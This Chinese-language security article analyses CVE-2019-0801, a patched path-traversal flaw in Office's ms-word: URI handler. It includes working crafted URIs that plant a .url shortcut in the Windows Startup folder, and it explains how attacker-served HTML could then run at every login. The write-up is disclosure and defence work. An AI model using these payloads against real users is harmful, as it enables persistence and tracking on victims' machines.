CVE-2019-0801:Office URI超链接劫持漏洞分析

阅读量    138192 |   稿费 150

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

2018年12月,Andrea Micalizzi(也就是rgod)向我们报告了微软Office中的一个漏洞,官方在4月份修复了这个漏洞(CVE-2019-0801),这里我们想与大家分享该漏洞的相关细节。

 

0x01 漏洞分析

微软Office在安装时会注册匹配各种URI scheme的处理器(handler),这一点很多人并不是特别了解,大家可以参考此处了解详细列表。简而言之,这些URI scheme可以方便浏览器启动Office应用。这里我们主要关注如下格式的URI:

ms-word:ofe|u|<argument>
ms-excel:ofe|u|<argument>
ms-powerpoint:ofe|u|<argument>

其中ofe命令用来指示浏览器打开Office文档进行编辑,此外还有另一个ofv命令,也可以“打开文档查看”,工作方式与ofe相同。不管使用哪种方式,<argument>都代表需要打开的Office文档所对应的URI。通常情况下,这个字段值都为http:或者https: URI,可以从web服务器获取相应文档。

比如,如果访问如下URI,浏览器就会从example.com打开一个Word文档:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx

当浏览器访问这个地址时,首先会弹出警告窗口,表示即将打开外部程序。比如,IE浏览器的警告窗口如下所示:

如果用户允许该操作,那么就会启动Word应用。Word会从指定的网站(这里为example.com)提取文档,将其保存在临时目录中(目录路径为%LOCALAPPDATA%\Temp\OICE_16_974FA576_32C1D314_xxxx\,其中xxx为随机的4个十六进制数),然后继续打开文档进行编辑。

我们感兴趣的是这里其实还有其他文件操作。除了保存临时文件副本之外,Office应用还会创建两个链接文件,将该文档标记为用户最近打开的文档,如下所示。由于该文档源自某个Internet位置,因此这里Office会创建Internet快捷方式文件(.url)。

[InternetShortcut]
URL= http://example.com/SomePath/SomeDoc.docx

Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx.url

[InternetShortcut]
URL= http://example.com/SomePath/

Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomePath on example.com.url

如上所示,第一个项目为指向某个Internet文档位置的一个快捷方式,第二个项目为相对该位置的一个快捷方式。每个.url文件都对应一个描述名称,比如这里第一个文件名为SomeDoc.docx.url

如果原始的URL在文件名之后包含查询字符串时就会出现一些问题。这种情况下,当Office为指向该文档的.url文件构造相应名称时,会尝试将整个查询字符串整合到快捷方式文件名中。比如,如果用户访问如下URI:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm

那么Office就会尝试创建一个文件:C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm.url。这个操作无法成功完成,因为Windows系统并不允许中文件名中出现?这个非法字符。

但如果我们在查询字符串中加入一些目录遍历字符,会出现什么情况?

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm/../blah

这种情况下,Office构造的路径为C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm\..\blah.url。这个操作可以成功完成,因为目录遍历动作会取消SomeDoc.docx?hmm这个无效的路径元素。因此,最终创建的文件为C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\blah.url

现在我们已经搞定目录遍历,就可以将文件拷贝到错误的位置。这里比较直观的一个目标就是C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录,当用户登录系统时,就会自动运行保存在该目录中的所有项目。为了访问到该路径,我们只需要多越过两级目录,就能接触到C:\Users\<username>\AppData\Roaming\Microsoft,然后正常拼接出我们所需的完整路径即可:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?\..\..\..\Windows\Start Menu\Programs\Startup\w00t

如上URI将导致Office创建C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\w00t.url文件,当每次用户登录时都会运行这个快捷方式文件。通过这种方式,攻击者甚至不需要获得受害者的Windows用户名就能构造出可用路径,可以直接利用Office提供的基础路径,因为该路径中已经包含所需的上级目录C:\Users\<username>\

 

0x02 漏洞影响

这个漏洞的最终影响范围尚未明确。从表面上看,这个漏洞影响程度似乎相当小。在用户启动目录中创建的.url文件虽然在后续登录时会自动启动,但该文件也只是简单地指向最初加载的Office文档而已。

然而经过仔细检查后,我发现虽然用户登录时自动请求的URI与获取原始文档的URI相同,但这并不意味着攻击者所投递的内容也要保持一致。实际上,Windows并没有限制攻击者服务器如何响应Office文档。即使URL中的“扩展名”可能显示为docx,但服务器仍然可以按照攻击者需求响应任何形式的Content-type。比如,攻击者可以响应一个HTML文档:

这样每当用户登录时,系统就会渲染这个HTML文档以及其中包含的脚本,此时最直观的应用场景就是广告软件(adware)以及恐吓软件(scareware)。但还有更隐蔽的应用场景,比如攻击者可以实时知道用户精确的登录时间。为了避免引起用户怀疑,攻击者可以重定向到无害页面(比如about:blank)。

 

0x03 总结

微软在4月份补丁中修复了这个漏洞,当时官方给出了最高等级的漏洞评分,这代表经验丰富的攻击老手或者菜鸟都可以利用这类漏洞。从本文可知,挖掘并滥用Office文档中可以用来规避反病毒软件或其他端点检测方案的“功能”是非常有价值的一种技术。在针对美国公司的最近一次鱼叉式钓鱼攻击中,攻击者就用到了内嵌Kodak FlashPix文件格式(FPX)图像的Office文档。由于微软Office的使用范围非常广泛,我们很有可能看到攻击者会继续挖掘这款产品的潜在漏洞及脆弱点。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多